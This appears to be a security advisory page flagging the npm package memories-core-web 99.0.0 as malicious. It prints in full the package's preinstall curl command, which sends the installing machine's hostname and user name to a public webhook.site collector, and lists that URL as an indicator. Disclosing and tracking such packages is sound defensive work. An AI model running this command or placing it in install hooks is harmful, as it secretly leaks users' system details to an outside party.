memories-core-web 99.0.0

confirmed malicious PROTET-NPM-2026-7

Every version of this package that Protet Intel names: Is memories-core-web malicious?

Details

The package runs curl -s https://webhook.site/b2967b0a-1b24-4670-8ae1-e09e3cf272c4/?pkg=memories-core-web&host=$(hostname)&user=$(whoami) from its preinstall script. The request sends the package name, the host name and the user name of the installing machine to a public webhook collector. The package has no legitimate function.

Impact: whoever owns the webhook learns which hosts and users install the package.

Remediation: remove the package from all projects and lockfiles and review the hosts that installed it.

Indicators

Domainswebhook.site

URLshttps://webhook.site/b2967b0a-1b24-4670-8ae1-e09e3cf272c4/

Shown as text on purpose; do not open them.

Records

OSV record PROTET-NPM-2026-7
Also reported in OSV as MAL-2026-18106
Feeds: NDJSON, Atom

Status history

2026-10-22: named as a Protet finding

Want to know if your own builds pull packages like this? Add the Protet GitHub Action.

Think this is wrong? Write to hello@protet.io and we will look at it.